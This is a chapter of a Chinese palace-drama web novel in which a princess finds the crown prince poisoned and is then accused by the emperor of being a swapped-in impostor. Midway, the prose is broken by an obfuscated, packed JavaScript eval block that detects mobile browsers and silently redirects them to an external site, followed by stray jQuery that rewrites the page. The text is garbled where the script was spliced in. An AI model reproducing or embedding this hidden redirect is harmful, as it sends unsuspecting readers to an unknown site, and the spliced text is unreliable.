东宫异常安静。
此前萧玉容从未来过东宫,被宫人引至此,不禁发问:“公公,东宫向来都这么静?”
她印象中常听闻太子妃是个爱热闹的,东宫时常传出她与太子吵闹的传言。
可如今真至此处,耳畔只有园中花草树木被风吹的簌簌作响,不听人声。
宫人也奇怪道:“回公主,这时辰该是太子妃训导二位良娣之时。”
“训导?如何训导?”她好奇道。
行至宫墙下一片竹林处,宫人停了停脚步,指着前方一块铺满石砾的花圃,躬身道:“公主请看,往日这时辰该是二位良娣跪在此处,读背宫规……”
萧玉容眼皮猛跳了跳,暗自腹诽:太子妃也太胡闹了。
宫人抬头看了看天,嘀咕着:“今日许是这日头太烈……太子妃仁德,免了训导……”
东宫不大,太子夫妇又不爱花草,园子里虽养护了些名贵花草,却一团一簇,乱糟糟没什么观赏可言。
所以众人脚步快了些。
然而到了正殿,却见大门紧闭。
萧玉容眉头紧锁,莫非他又偷偷出宫了?
宫人也露出一丝惊讶,上前扣门:“请太子到皇后宫中用膳!”
如此喊了两句,也不见里头有任何动静。
于是宫人怒道:“人呢?都去哪儿了?琼华公主来了,还不快快禀告太子,开门迎驾?都偷懒是吧!回头定要上报内务府,治你们个大不敬之罪!”
如此喊了三番四次,也不见有人来。
宫人见状,手上拍门力道加大,顾不得殿内是否有太子在,仿佛要把怒气全撒在门上。
其余宫人顿感不妙,迅速到东宫各偏殿寻人。
萧玉容心中也浮现一丝恐慌,她下意识把这恐慌抛去,暗道:指不定太子带着女眷一同悄悄出宫了,只是不巧,这回要被抓了!
她简直能想到父皇听闻此事,该发多大的怒火!
如此也好,罚他紧闭一两个月,危险也过去……
正想着,那门闩禁不住拍打的力道,“吱丫”一声缓缓开了。
一股血腥味扑鼻而来!
萧玉容还来不及反应,只听殿内“嗖”地一声响,一支箭不偏不倚正中门前那宫人的脖颈!
“救——救命!”她腿一软,倒在地上。
然而方才去各偏殿寻人的宫人们还未回来。
她鼓起勇气往殿内看去,地上影影绰绰好几具身体。
不好!太子……
她从未像此刻一样希望太子在群芳楼!
萧玉容撑起身子,三步并两步走到门口,侧身躲过地上那具尸体。
然而殿内再没有箭飞出。
“刺客……”她声音颤抖,试图大声喊叫吓跑刺客,“抓刺客!快,有刺客!”
这么大的动静,很快有阵阵脚步声向这边冲来。
回来的宫人们边跑边喊道:“不好了!快来人!东宫出事了!所有人都、都被迷晕了!”
禁军出动,黑压压一大片。
萧玉容只觉眼前一切天旋地转,她抬头望去,殿内正前方桌案上,正趴着一个身影,一动不动。
正是太子萧乾。
*
皇后宫中。
皇后听到消息,已晕了几回了。
萧帝更是不敢置信,不停在萧玉容面前踱步,看着女儿开口问了几遍,每遍都是:“你确定你看清了?”
萧玉容点了点头,有些呆滞。
上一世她经历过他们一个个离世,待到这一次,她发现自己再无法复刻上一回的伤心了。
理智逐渐占了上风。
“宫中为何会有刺客?为何要刺杀太子?”她喃喃道,“为何……和之前不一样了?”
萧帝拧着眉头,咬紧后槽牙,阴沉道:“说得正是,不该有刺客……不会的,太子不会有事!”
他紧握的拳头青筋暴起。
萧玉容看得出来,他在强撑。
禁军统领来报,东宫身亡共有九人,除太子和太子妃外,四个宫女和两个太监,还有一个掌酒小奴。
萧帝听了这消息,高大的身形不免晃了晃。
“他们……是如何死的?”他沉沉道。
“回陛下,皆是喝了毒酒。”统领迟疑道,“这下毒之人不知是不是在殿内设了机关,第一个上前开门的刘公公,被一箭射穿了脖子……其余偏殿宫人和二位良娣,只是被人迷昏了。”
萧帝沉吟片刻,嘴里不停道:“不对,不对。”
谁有理由刺杀太子?
昨日太子刚把那件事告诉他,今日就惨遭毒害,难道……
他把目光移向萧玉容:“当时和你一起的,都有谁?”
“刘公公。”萧玉容回道,“其他人都去偏殿寻人了。”
“他们去了大概多久?”
“大概……一刻?”萧玉容亲历现场,头也懵懵的,“儿臣拿不准时候。”
萧帝又沉默了许久。
他观女儿竟未悲恸落泪,或吓晕过去,如今好端端坐在这儿,让他有种不好的猜测……
难道她知道自己的身世,得知太子要告发自己,为保这皇室公主的荣华富贵,不惜下此毒手?
“你可知,太子昨日来寻朕,说了何事?”
他这突然发问,令萧玉容一怔。
“儿臣不知。”
“当真不知?”
萧玉容思索半晌,除了太子要元九璃入宫之事,她也想不出还有何事能劳驾这位大哥兴师动众了。
一定是他害怕二哥来和他争夺元九璃,所以来求父皇赐下恩典,要她早日入东宫。
“莫非牵扯……手足?”她不敢在父皇面前提夺嫡,毕竟兄弟相残,对于父母来说太过悲剧。
萧帝冷哼一声:“手足……说得好,你身上流的到底是谁的血?萧氏……断不会残害手足。”
“我?”萧玉容瞪大双眼,不明白为何又扯到自己身上了。
“不必装了。”萧帝冷肃道,“太子跟朕揭露了一个秘密,他说……你冒充皇室公主!”
此话如当头棒喝,震得她半张着嘴,久久说不出话来。
难道只因自己撞见太子去了群芳楼,他就要在父皇面前搬弄是非,让父皇罚自己?
等等,他如此瞎说,有何证据?<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15833687|169263||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>“父皇,儿臣不知皇兄到底为何如此,可他空口无凭之言,父皇如何信得!”
萧帝缓缓道:“太子告诉朕,当年他亲眼目睹,皇后生产当夜,有宠妃身边宫人抱着一个婴孩偷偷出了宫……太子说,皇后当年生下的是个小皇弟,而被有心人换成了公主!”
萧玉容当场愣在原地。
“不、不可能!”她下意识反驳。
她的身份上一世并未存疑,不可能……
她强迫自己冷静下来,“我去问问母后……”
“她不知情!”萧帝呵斥道,“朕相信她也是被人蒙骗,若她得知自己的亲生骨肉被人换掉,生死不知,再加上太子之事……该有多痛心!”
“儿臣不问,可父皇也该调查清楚再下结论!”萧玉容攥紧扶手,“太子哥哥那时还小,看错了也是常事!还请父皇将此事彻查清楚,还儿臣一个清白!”
萧帝颔首:“朕自会派人查证,不过……宫里发生这等大事,你今夜不要出宫了。”
萧玉容这才明白,他在怀疑自己!
“父皇,儿臣血脉存疑,可是太子之事和儿臣无关!”她辩解道。
“无关?”萧帝冷笑,“若是你得知太子知晓了你的身世,要除掉他,以防他告发你……”
“仅凭我一人之力?”萧玉容摊开双手,“儿臣肩不能提手不能扛,父皇就算给儿臣一百个胆,儿臣也做不到!”
“所以你选了下毒!”他目光脩地发亮,仿佛找到了真相,“你买通东宫宫人下毒,为确保计划万无一失,又在今日入宫,特意亲自去请太子,到了东宫又支开宫人……可惜刘公公未被你支走,于是你便趁他不备,用箭杀了他!”
听他如此推测,萧玉容浑身发冷:“父皇难道忘了,今日是父皇传召儿臣入宫,且是父皇让儿臣到东宫亲自请太子过来!”
萧帝很少被人反驳,一时怔了怔。
“也许是你设计精密也未可知!”
“儿臣入宫,宫门处有守卫,自是搜过身的,只那一支箭,儿臣又如何藏!”
萧帝转头问统领:“箭可查清来源?”
统领拱手回道:“回陛下,那箭是东宫的。”
萧帝满目阴鸷:“你还有何要说!箭是东宫的,太子常练骑射,能被你拿到箭也不奇怪!”
萧玉容发现,自己如今浑身是嘴也辩解不清了。
她一颗心沉到了水底,彻底寒了。
与其让父皇在此胡乱猜测,不如让三司来查,亦能公正些!
她闭了闭眼:“那就请父皇把儿臣打入大牢,彻查此事!”
“不要再称朕‘父皇’。”萧帝此刻看她,目光中再无半点亲情。
他原就凉薄,没了这个孩儿,还有别的,况且她是皇后养大的,更是让他多了几分不喜。
如今长子薨逝,除了查清此事给天下人一个交代之外,最重要的便是重立新太子了。
他抬了抬手,吩咐禁军把萧玉容带走。
临走前,萧玉容不禁嗤笑,如宋孝良所说,自己的父皇,果真只是个毫无脑子的莽夫!
如今她只能期盼母后醒来得知此事,能还当年一个真相。